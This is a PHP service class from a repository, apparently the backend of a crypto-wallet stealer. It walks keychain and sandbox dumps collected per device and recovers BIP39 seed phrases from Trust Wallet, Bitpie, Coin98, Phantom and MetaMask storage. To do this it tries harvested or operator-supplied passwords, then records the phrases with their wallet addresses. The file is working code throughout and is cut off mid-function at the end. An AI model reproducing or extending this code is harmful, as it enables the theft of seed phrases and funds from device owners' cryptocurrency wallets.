Files
coruna-lab/app/Services/DsKeystoreDecrypt.php
T
2026-10-05 06:12:43 +08:00

1401 lines
45 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\WalletKeystore;
use App\Models\WalletMnemonic;
use App\Services\Chain\BtcAddress;
use App\Services\Chain\EthAddress;
use App\Services\Chain\TronAddress;
use App\Support\WalletSource;
use FurqanSiddiqui\BIP39\BIP39;
/**
* Recover a BIP39 phrase from DS Trust UTC blobs or Bitpie seedPhraseEntropy.
*/
final class DsKeystoreDecrypt
{
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
public function recover(Device $device, mixed $wallets, mixed $sandbox): array
{
$hits = [];
$seen = [];
$bitpieNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Bitpie') {
$bitpieNodes[] = $row->raw_json;
}
}
foreach ($this->recoverBitpie($bitpieNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
foreach ($this->recoverTrustUtc($device, $wallets, $sandbox) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$coin98Nodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Coin98') {
$coin98Nodes[] = $row->raw_json;
}
}
foreach ($this->recoverCoin98($coin98Nodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
$phantomNodes = [$wallets, $sandbox];
foreach ($device->keystores as $row) {
if ($row->source === 'Phantom') {
$phantomNodes[] = $row->raw_json;
}
}
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
$hash = WalletMnemonic::hashSecret($hit['phrase']);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hits[] = $hit;
}
return $hits;
}
/**
* Try operator-supplied password against UTC / walletsV2 blobs and
* MetaMask-style password vaults on this row (and same-source rows).
*
* @return array{hits: list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>, utc: int, vault: int}
*/
public function unlockRowWithPassword(Device $device, WalletKeystore $row, string $password): array
{
$device->loadMissing('keystores');
$source = trim((string) $row->source);
$nodes = [is_array($row->raw_json) ? $row->raw_json : []];
foreach ($device->keystores as $other) {
if ((int) $other->id === (int) $row->id) {
continue;
}
if (trim((string) $other->source) !== $source) {
continue;
}
$nodes[] = is_array($other->raw_json) ? $other->raw_json : [];
}
$utcs = [];
$vaults = [];
foreach ($nodes as $node) {
$utcs = array_merge($utcs, $this->collectKeystores($node, $source !== '' ? $source : 'unknown'));
$vaults = array_merge($vaults, $this->collectPasswordVaults($node, $source !== '' ? $source : 'unknown'));
}
$utcs = $this->uniqueKeystores($utcs);
$passwords = $this->expandUserPassword($password);
$hits = [];
$seen = [];
if ($passwords === []) {
return ['hits' => [], 'utc' => count($utcs), 'vault' => count($vaults)];
}
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$hash = WalletMnemonic::hashSecret($phrase);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'unknown');
$hits[] = [
'source' => $hitSource,
'tag' => WalletSource::tagForLabel($hitSource),
'phrase' => $phrase,
'addresses' => [],
];
}
foreach ($vaults as $item) {
$phrase = $this->unlockPasswordVault($item['vault'], $passwords);
if ($phrase === null) {
continue;
}
$hash = WalletMnemonic::hashSecret($phrase);
if (isset($seen[$hash])) {
continue;
}
$seen[$hash] = true;
$hitSource = $item['source'] !== '' ? $item['source'] : ($source !== '' ? $source : 'MetaMask');
$hits[] = [
'source' => $hitSource,
'tag' => WalletSource::tagForLabel($hitSource) ?: 'a',
'phrase' => $phrase,
'addresses' => [],
];
}
return ['hits' => $hits, 'utc' => count($utcs), 'vault' => count($vaults)];
}
/**
* @return list<string>
*/
public function expandUserPassword(string $password): array
{
$password = trim($password);
if ($password === '') {
return [];
}
$out = $this->passwordsFromString($password);
if (ctype_xdigit($password) && strlen($password) % 2 === 0 && strlen($password) >= 8) {
$out = array_merge($out, $this->passwordsFromHex($password));
}
return array_values(array_unique($out));
}
/**
* @return array{utc: int, passwords: int, entropy: int}
*/
public function materialCounts(Device $device): array
{
$device->loadMissing('keystores');
$utcs = [];
$passwords = [];
$entropy = [];
$coin98 = 0;
$phantom = 0;
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
$coin98 += count($this->collectCoin98Backups($row->raw_json));
$phantom += count($this->collectPhantomEntropy($row->raw_json));
}
return [
'utc' => count($this->uniqueKeystores($utcs)),
'passwords' => count($this->uniquePasswords($passwords)),
'entropy' => count(array_unique($entropy)),
'coin98' => $coin98,
'phantom' => $phantom,
];
}
/**
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverTrustUtc(Device $device, mixed $wallets, mixed $sandbox): array
{
$utcs = $this->collectKeystores($sandbox);
$utcs = array_merge($utcs, $this->collectKeystores($wallets));
foreach ($device->keystores as $row) {
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
}
$utcs = $this->uniqueKeystores($utcs);
if ($utcs === []) {
return [];
}
$passwords = $this->collectPasswords($wallets);
foreach ($device->keystores as $row) {
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
}
$passwords = array_slice($this->uniquePasswords($passwords), 0, 16);
if ($passwords === []) {
return [];
}
$hits = [];
foreach ($utcs as $item) {
$phrase = $this->unlock($item['keystore'], $passwords);
if ($phrase === null) {
continue;
}
$source = $item['source'] !== '' ? $item['source'] : 'Trust Wallet';
$hits[] = [
'source' => $source,
'tag' => WalletSource::tagForLabel($source),
'phrase' => $phrase,
'addresses' => [],
];
}
return $hits;
}
/**
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverBitpie(array $nodes): array
{
$phrases = [];
$addresses = [];
foreach ($nodes as $node) {
foreach ($this->collectBitpieEntropyHex($node) as $hex) {
$phrase = $this->phraseFromEntropyHex($hex);
if ($phrase !== null) {
$phrases[$phrase] = true;
}
}
$addresses = array_merge($addresses, $this->collectBitpieAddresses($node));
}
if ($phrases === []) {
return [];
}
$uniq = [];
$seenAddr = [];
foreach ($addresses as $row) {
$key = $row['address'];
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = $row;
}
$hits = [];
foreach (array_keys($phrases) as $phrase) {
$hits[] = [
'source' => 'Bitpie',
'tag' => 'r',
'phrase' => $phrase,
'addresses' => $uniq,
];
}
return $hits;
}
/**
* Coin98 stores a plaintext JSON backup in the keychain under
* service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry
* carries the same mnemonic plus a per-chain address + privateKey.
*
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverCoin98(array $nodes): array
{
$backups = [];
foreach ($nodes as $node) {
foreach ($this->collectCoin98Backups($node) as $backup) {
$backups[] = $backup;
}
}
if ($backups === []) {
return [];
}
$phrase = null;
$seenAddr = [];
$uniq = [];
foreach ($backups as $wallets) {
foreach ($wallets as $w) {
if (! is_array($w)) {
continue;
}
$m = $w['mnemonic'] ?? null;
if (is_string($m) && trim($m) !== '' && $phrase === null) {
$candidate = $this->asMnemonic($m);
if ($candidate !== null) {
$phrase = $candidate;
}
}
$address = trim((string) ($w['address'] ?? ''));
if ($address === '') {
continue;
}
$chain = strtolower(trim((string) ($w['chain'] ?? '')));
$mapped = $this->coin98ChainToType($chain, $address);
if ($mapped === null) {
continue;
}
$key = $mapped.'|'.$address;
if (isset($seenAddr[$key])) {
continue;
}
$seenAddr[$key] = true;
$uniq[] = [
'address' => $address,
'chainType' => $mapped,
'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'),
'balance' => 0,
];
}
}
if ($phrase === null) {
return [];
}
return [
[
'source' => 'Coin98',
'tag' => 'q',
'phrase' => $phrase,
'addresses' => $uniq,
],
];
}
/**
* Phantom stores its BIP39 entropy as a plaintext JSON blob in the
* keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.*
* The entropy dict maps integer indices to byte values (0–255).
* 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic.
*
* @param list<mixed> $nodes
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
*/
private function recoverPhantom(array $nodes): array
{
$entropyHex = null;
foreach ($nodes as $node) {
foreach ($this->collectPhantomEntropy($node) as $hex) {
if ($entropyHex === null) {
$entropyHex = $hex;
}
}
}
if ($entropyHex === null) {
return [];
}
$phrase = $this->phraseFromEntropyHex($entropyHex);
if ($phrase === null) {
return [];
}
return [
[
'source' => 'Phantom',
'tag' => 'i',
'phrase' => $phrase,
'addresses' => [],
],
];
}
/**
* Walk a keychain node collecting Phantom vault entropy hex strings.
*
* @return list<string>
*/
public function collectPhantomEntropy(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectPhantomEntropy($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
// an "entropy" dict of byte-index → byte-value pairs.
$svc = strtolower(trim((string) ($node['service'] ?? '')));
$acct = (string) ($node['account'] ?? '');
$acctDecoded = '';
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
$bin = @hex2bin($acct);
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
$acctDecoded = strtolower($bin);
}
}
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
$hex = $this->phantomEntropyFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1));
}
}
return $out;
}
/**
* Extract the entropy hex from a Phantom vault seedless keychain item.
*
* @param array<string, mixed> $item
*/
private function phantomEntropyFromItem(array $item): ?string
{
$hex = (string) ($item['dataHex'] ?? '');
$raw = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$raw = (string) @hex2bin($hex);
}
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
$raw = $item['data'];
}
if ($raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) {
return null;
}
// entropy is { "0": 250, "1": 104, ... } — collect bytes in index order.
$bytes = '';
$keys = array_keys($json['entropy']);
$max = -1;
foreach ($keys as $k) {
if (is_numeric($k) && (int) $k > $max) {
$max = (int) $k;
}
}
if ($max < 0) {
return null;
}
for ($i = 0; $i <= $max; $i++) {
$val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null;
if (! is_numeric($val)) {
return null;
}
$byte = (int) $val & 0xFF;
$bytes .= chr($byte);
}
// Only accept 16-byte (12-word) or 32-byte (24-word) entropy.
$len = strlen($bytes);
if ($len !== 16 && $len !== 32) {
return null;
}
return bin2hex($bytes);
}
/**
* Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays.
*
* @return list<list<array<string, mixed>>>
*/
private function collectCoin98Backups(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectCoin98Backups($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
// Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP
$svc = strtolower(trim((string) ($node['service'] ?? '')));
$acct = strtolower(trim((string) ($node['account'] ?? '')));
if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') {
$parsed = $this->coin98BackupFromItem($node);
if ($parsed !== null) {
$out[] = $parsed;
}
}
foreach ($node as $key => $child) {
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $item
* @return list<array<string, mixed>>|null
*/
private function coin98BackupFromItem(array $item): ?array
{
$hex = (string) ($item['dataHex'] ?? '');
$raw = '';
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
$raw = (string) @hex2bin($hex);
}
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
$raw = $item['data'];
}
if ($raw === '') {
return null;
}
$json = json_decode($raw, true);
if (! is_array($json) || $json === []) {
return null;
}
return array_values(array_filter($json, fn ($w) => is_array($w)));
}
/**
* Map a Coin98 chain name to our persisted chain_type. Returns null for
* unsupported chains (only ETH / TRX / BTC are persisted).
*/
private function coin98ChainToType(string $chain, string $address): ?string
{
// EVM-compatible chains all share the same 0x address.
$evm = [
'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin',
'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom',
'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony',
'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera',
'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode',
'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink',
'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm',
'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic',
'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo',
'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert',
'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond',
'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet',
'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax',
'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet',
'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei',
'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet',
'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet',
'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta',
'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc',
'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet',
'kava', 'evmos', 'injective',
];
if (in_array($chain, $evm, true)) {
return 'ETHEREUM';
}
if ($chain === 'tron') {
return 'TRON';
}
if ($chain === 'bitcoin' || $chain === 'bitcointestnet') {
return 'BITCOIN';
}
// Fallback: infer from address shape.
$inferred = WalletSource::inferChainType($address);
if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) {
return $inferred;
}
return null;
}
/**
* @param list<string> $passwords
*/
public function unlock(array $keystore, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = EthKeystore::decrypt($keystore, $password);
if ($plain === null) {
continue;
}
$phrase = $this->asMnemonic($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
public function collectKeystores(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectKeystores($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isKeystore($node)) {
return [['source' => $source, 'keystore' => $node]];
}
$out = [];
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
$out = array_merge($out, $this->collectKeystores($child, $next, $depth + 1));
}
return $out;
}
/**
* MetaMask mobile VAULT_BACKUP: {cipher, iv, salt, lib, keyMetadata}.
*
* @return list<array{source: string, vault: array<string, mixed>}>
*/
public function collectPasswordVaults(mixed $node, string $source = '', int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectPasswordVaults($decoded, $source, $depth + 1);
}
if (! is_array($node)) {
return [];
}
if ($this->isPasswordVault($node)) {
return [['source' => $source !== '' ? $source : 'MetaMask', 'vault' => $node]];
}
$out = [];
$acct = strtolower(trim((string) ($node['account'] ?? '')));
if ($acct === 'vault_backup' && $source === '') {
$source = 'MetaMask';
}
foreach ($node as $key => $child) {
$next = $source;
if (is_string($key)) {
$hint = WalletSource::fromKeystoreHint($key);
if ($hint !== '') {
$next = $hint;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectPasswordVaults($child, $next, $depth + 1));
}
}
return $out;
}
/**
* @param array<string, mixed> $node
*/
public function isPasswordVault(array $node): bool
{
foreach (['cipher', 'iv', 'salt'] as $key) {
if (! is_string($node[$key] ?? null) || $node[$key] === '') {
return false;
}
}
return true;
}
/**
* @param array<string, mixed> $vault
* @param list<string> $passwords
*/
public function unlockPasswordVault(array $vault, array $passwords): ?string
{
foreach ($passwords as $password) {
$plain = $this->decryptPasswordVault($vault, $password);
if ($plain === null) {
continue;
}
$phrase = $this->phraseFromVaultPlain($plain);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
/**
* MetaMask iOS (lib=quick-crypto): PBKDF2-SHA512 over the salt *string*
* (not base64-decoded), AES-256-CBC, IV hex, cipher base64.
*
* @param array<string, mixed> $vault
*/
private function decryptPasswordVault(array $vault, string $password): ?string
{
$cipherB64 = (string) ($vault['cipher'] ?? '');
$ivRaw = (string) ($vault['iv'] ?? '');
$saltStr = (string) ($vault['salt'] ?? '');
if ($cipherB64 === '' || $ivRaw === '' || $saltStr === '' || $password === '') {
return null;
}
$cipher = base64_decode($cipherB64, true);
if (! is_string($cipher) || $cipher === '') {
return null;
}
$iv = ctype_xdigit($ivRaw) && strlen($ivRaw) % 2 === 0 ? @hex2bin($ivRaw) : base64_decode($ivRaw, true);
if (! is_string($iv) || $iv === '') {
return null;
}
$iterations = (int) ($vault['keyMetadata']['params']['iterations'] ?? 5000);
if ($iterations < 1) {
$iterations = 5000;
}
$salts = [$saltStr];
$decodedSalt = base64_decode($saltStr, true);
if (is_string($decodedSalt) && $decodedSalt !== '' && $decodedSalt !== $saltStr) {
$salts[] = $decodedSalt;
}
foreach ($salts as $salt) {
$key = hash_pbkdf2('sha512', $password, $salt, $iterations, 32, true);
$plain = openssl_decrypt($cipher, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
if (is_string($plain) && $plain !== '') {
return $plain;
}
}
return null;
}
private function phraseFromVaultPlain(string $plain): ?string
{
$direct = $this->asMnemonic($plain);
if ($direct !== null) {
return $direct;
}
$json = json_decode($plain, true);
if (! is_array($json)) {
return null;
}
return $this->phraseFromVaultNode($json);
}
private function phraseFromVaultNode(mixed $node): ?string
{
if (is_string($node)) {
return $this->asMnemonic($node);
}
if (! is_array($node)) {
return null;
}
if (isset($node['mnemonic'])) {
$phrase = $this->mnemonicFieldToPhrase($node['mnemonic']);
if ($phrase !== null) {
return $phrase;
}
}
foreach ($node as $child) {
$phrase = $this->phraseFromVaultNode($child);
if ($phrase !== null) {
return $phrase;
}
}
return null;
}
private function mnemonicFieldToPhrase(mixed $value): ?string
{
if (is_string($value)) {
return $this->asMnemonic($value);
}
if (! is_array($value) || $value === []) {
return null;
}
if (is_int($value[0] ?? null) || is_float($value[0] ?? null)) {
$raw = '';
foreach ($value as $code) {
if (! is_numeric($code)) {
return null;
}
$raw .= chr((int) $code);
}
return $this->asMnemonic($raw);
}
if (is_string($value[0] ?? null)) {
return $this->asMnemonic(implode(' ', array_map(static fn ($w) => (string) $w, $value)));
}
return null;
}
/**
* @return list<string>
*/
public function collectPasswords(mixed $node, int $depth = 0): array
{
$items = $this->collectPasswordItems($node, $depth);
usort($items, static fn ($a, $b) => $b['score'] <=> $a['score']);
$out = [];
foreach ($items as $item) {
$out = array_merge($out, $this->passwordsFromHex($item['hex']));
}
return $this->uniquePasswords($out);
}
/**
* @return list<array{hex: string, score: int}>
*/
private function collectPasswordItems(mixed $node, int $depth = 0): array
{
if ($depth > 8 || ! is_array($node)) {
return [];
}
$out = [];
$hex = $node['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$account = strtolower((string) ($node['account'] ?? ''));
$score = 0;
if (str_contains($account, 'utc--') && ! str_contains($account, 'migration')) {
$score += 100;
}
$rawLen = strlen(preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '') / 2;
if ($rawLen === 32.0 || $rawLen === 64.0) {
$score += 20;
}
$out[] = ['hex' => $hex, 'score' => $score];
}
foreach (['items', 'wallets', 'sandbox'] as $key) {
if (! isset($node[$key]) || ! is_array($node[$key])) {
continue;
}
foreach ($node[$key] as $child) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
if ($hex === null && ! isset($node['items']) && ! isset($node['wallets']) && ! isset($node['sandbox'])) {
foreach ($node as $child) {
if (is_array($child)) {
$out = array_merge($out, $this->collectPasswordItems($child, $depth + 1));
}
}
}
return $out;
}
/**
* @param list<WalletKeystore> $rows
*/
public function markDecrypted(iterable $rows, string $source): void
{
foreach ($rows as $row) {
if (! $row instanceof WalletKeystore) {
continue;
}
if ($row->source !== $source) {
continue;
}
if ((int) $row->decrypted === 1) {
continue;
}
$row->decrypted = 1;
$row->save();
}
}
public function markSourceDecrypted(int $deviceId, string $source): void
{
WalletKeystore::query()
->where('device_id', $deviceId)
->where('source', $source)
->where('decrypted', 0)
->update(['decrypted' => 1]);
}
/**
* @param array<string, mixed> $node
*/
private function isKeystore(array $node): bool
{
$crypto = $node['crypto'] ?? $node['Crypto'] ?? null;
if (! is_array($crypto)) {
return false;
}
return isset($crypto['ciphertext'], $crypto['mac'], $crypto['kdf']);
}
/**
* @return list<string>
*/
private function passwordsFromHex(string $hex): array
{
$hex = preg_replace('/[^0-9a-fA-F]/', '', $hex) ?? '';
if ($hex === '' || strlen($hex) % 2 !== 0) {
return [];
}
$raw = @hex2bin($hex);
if (! is_string($raw) || $raw === '') {
return [];
}
$out = $this->passwordsFromString($raw);
// WalletCore / Trust sometimes treat the hex text itself as the password.
if (strlen($hex) === 64 || strlen($hex) === 128) {
$out[] = strtolower($hex);
$out[] = strtoupper($hex);
}
return $out;
}
/**
* @return list<string>
*/
private function passwordsFromString(string $raw): array
{
$out = [$raw];
if (mb_check_encoding($raw, 'UTF-8')) {
$trim = trim($raw);
if ($trim !== '' && $trim !== $raw) {
$out[] = $trim;
}
$unquoted = trim($trim, "\"'");
if ($unquoted !== '' && $unquoted !== $trim) {
$out[] = $unquoted;
}
if (ctype_xdigit($trim) && strlen($trim) % 2 === 0 && strlen($trim) >= 8) {
$bin = @hex2bin($trim);
if (is_string($bin) && $bin !== '') {
$out[] = $bin;
}
}
}
return $out;
}
/**
* @param list<array{source: string, keystore: array<string, mixed>}> $items
* @return list<array{source: string, keystore: array<string, mixed>}>
*/
private function uniqueKeystores(array $items): array
{
$seen = [];
$out = [];
foreach ($items as $item) {
$crypto = $item['keystore']['crypto'] ?? $item['keystore']['Crypto'] ?? [];
$fp = (string) ($crypto['mac'] ?? '').'|'.(string) ($crypto['ciphertext'] ?? '');
if ($fp === '|' || isset($seen[$fp])) {
continue;
}
$seen[$fp] = true;
$out[] = $item;
}
return $out;
}
/**
* @param list<string> $passwords
* @return list<string>
*/
private function uniquePasswords(array $passwords): array
{
$seen = [];
$out = [];
foreach ($passwords as $password) {
if ($password === '') {
continue;
}
if (isset($seen[$password])) {
continue;
}
$seen[$password] = true;
$out[] = $password;
}
return $out;
}
private function decodeBlob(string $raw): mixed
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
if (str_starts_with($raw, '{') || str_starts_with($raw, '[')) {
$json = json_decode($raw, true);
return is_array($json) ? $json : null;
}
$b64 = base64_decode($raw, true);
if (is_string($b64) && $b64 !== '') {
$json = json_decode($b64, true);
if (is_array($json)) {
return $json;
}
}
$hex = preg_replace('/[^0-9a-fA-F]/', '', $raw) ?? '';
if ($hex !== '' && strlen($hex) % 2 === 0 && strlen($hex) >= 8) {
$bin = @hex2bin($hex);
if (is_string($bin) && $bin !== '') {
$json = json_decode($bin, true);
if (is_array($json)) {
return $json;
}
}
}
return null;
}
private function asMnemonic(string $plain): ?string
{
$plain = trim($plain, "\0 \t\n\r");
if (str_starts_with($plain, '{')) {
$json = json_decode($plain, true);
if (is_array($json) && isset($json['mnemonic']) && is_string($json['mnemonic'])) {
$plain = $json['mnemonic'];
}
}
if (preg_match('/^[0-9a-fA-F]+$/', $plain) && strlen($plain) % 2 === 0 && strlen($plain) >= 24) {
$bin = @hex2bin($plain);
if (is_string($bin) && str_contains($bin, ' ')) {
$plain = $bin;
}
}
$text = strtolower(trim($plain));
$text = preg_replace('/\s+/', ' ', $text) ?? $text;
$words = $text === '' ? [] : explode(' ', $text);
$n = count($words);
if ($n !== 12 && $n !== 24) {
return null;
}
foreach ($words as $word) {
if (! preg_match('/^[a-z]{3,8}$/', $word)) {
return null;
}
}
return implode(' ', $words);
}
/**
* @return list<string>
*/
public function collectBitpieEntropyHex(mixed $node, int $depth = 0): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
$decoded = $this->decodeBlob($node);
if ($decoded === null) {
return [];
}
return $this->collectBitpieEntropyHex($decoded, $depth + 1);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
if ($account === 'seedphraseentropy') {
$hex = $this->entropyHexFromItem($node);
if ($hex !== null) {
$out[] = $hex;
}
}
foreach ($node as $key => $child) {
if (is_string($key) && strtolower($key) === 'seedphraseentropy') {
$hex = is_string($child) ? $this->normalizeEntropyHex($child) : $this->entropyHexFromItem(is_array($child) ? $child : []);
if ($hex !== null) {
$out[] = $hex;
}
}
if (is_array($child) || is_string($child)) {
$out = array_merge($out, $this->collectBitpieEntropyHex($child, $depth + 1));
}
}
return $out;
}
/**
* @return list<array{address: string, chainType: string, symbol: string, balance: int}>
*/
public function collectBitpieAddresses(mixed $node, int $depth = 0, bool $inBitpie = false): array
{
if ($depth > 10 || $node === null) {
return [];
}
if (is_string($node)) {
if (! $inBitpie) {
return [];
}
return $this->addressesFromBitpieText($node);
}
if (! is_array($node)) {
return [];
}
$out = [];
$account = strtolower(trim((string) ($node['account'] ?? '')));
$extract = $inBitpie || in_array($account, ['useraddresskey', 'useraddress', 'seedphraseentropy'], true);
if (in_array($account, ['useraddresskey', 'useraddress'], true)) {
$out = array_merge($out, $this->addressesFromBitpieText($this->itemUtf8($node)));
}
if ($extract && isset($node['address']) && is_string($node['address'])) {
$mapped = $this->addressRow($node['address'], $node['coin_code'] ?? $node['chainType'] ?? $node['chain'] ?? null);
if ($mapped !== null) {
$out[] = $mapped;
}
}
foreach ($node as $key => $child) {
if (! is_array($child) && ! is_string($child)) {
continue;
}
$childInBitpie = $inBitpie || $this->isBitpieLabel($key);
$walk = $childInBitpie || $this->isBitpieWalkKey($key, $inBitpie);
if (! $walk) {
continue;
}
$out = array_merge($out, $this->collectBitpieAddresses($child, $depth + 1, $childInBitpie));
}
return $out;
}
private function isBitpieLabel(mixed $key): bool
{
$raw = strtolower(trim((string) $key));
return $raw !== '' && (
str_contains($raw, 'bitpie')
|| in_array($raw, ['useraddresskey', 'useraddress', 'useraddresses', 'kuseraddressesconfigure'], true)
);
}
private function isBitpieWalkKey(mixed $key, bool $inBitpie): bool
{
if (is_int($key)) {
return $inBitpie;
}
$raw = strtolower(trim((string) $key));
return in_array($raw, ['wallets', 'sandbox', 'items', 'item'], true);
}
/**
* @param array<string, mixed> $item
*/
private function entropyHexFromItem(array $item): ?string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$fromHex = $this->normalizeEntropyHex($hex);
if ($fromHex !== null) {
return $fromHex;
}
$bin = $this->fromHex($hex);
if ($bin !== null) {
$nested = $this->normalizeEntropyHex($bin);
if ($nested !== null) {
return $nested;
}
}
}
return $this->normalizeEntropyHex($this->itemUtf8($item));
}
/**
* @param array<string, mixed> $item
*/
private function itemUtf8(array $item): string
{
$hex = $item['dataHex'] ?? null;
if (is_string($hex) && $hex !== '') {
$bin = $this->fromHex($hex);
if ($bin !== null && mb_check_encoding($bin, 'UTF-8')) {
return trim($bin);
}
}
$data = $item['data'] ?? null;
return is_string($data) ? trim($data) : '';
}
private function normalizeEntropyHex(string $raw): ?string
{
$raw = trim($raw);
if ($raw === '') {
return null;
}
$bin = $this->fromHex($raw);
if ($bin !== null) {
if (mb_check_encoding($bin, 'UTF-8')) {
$trim = trim($bin);
if ($this->isEntropyHex($trim)) {
return strtolower($trim);
}
}
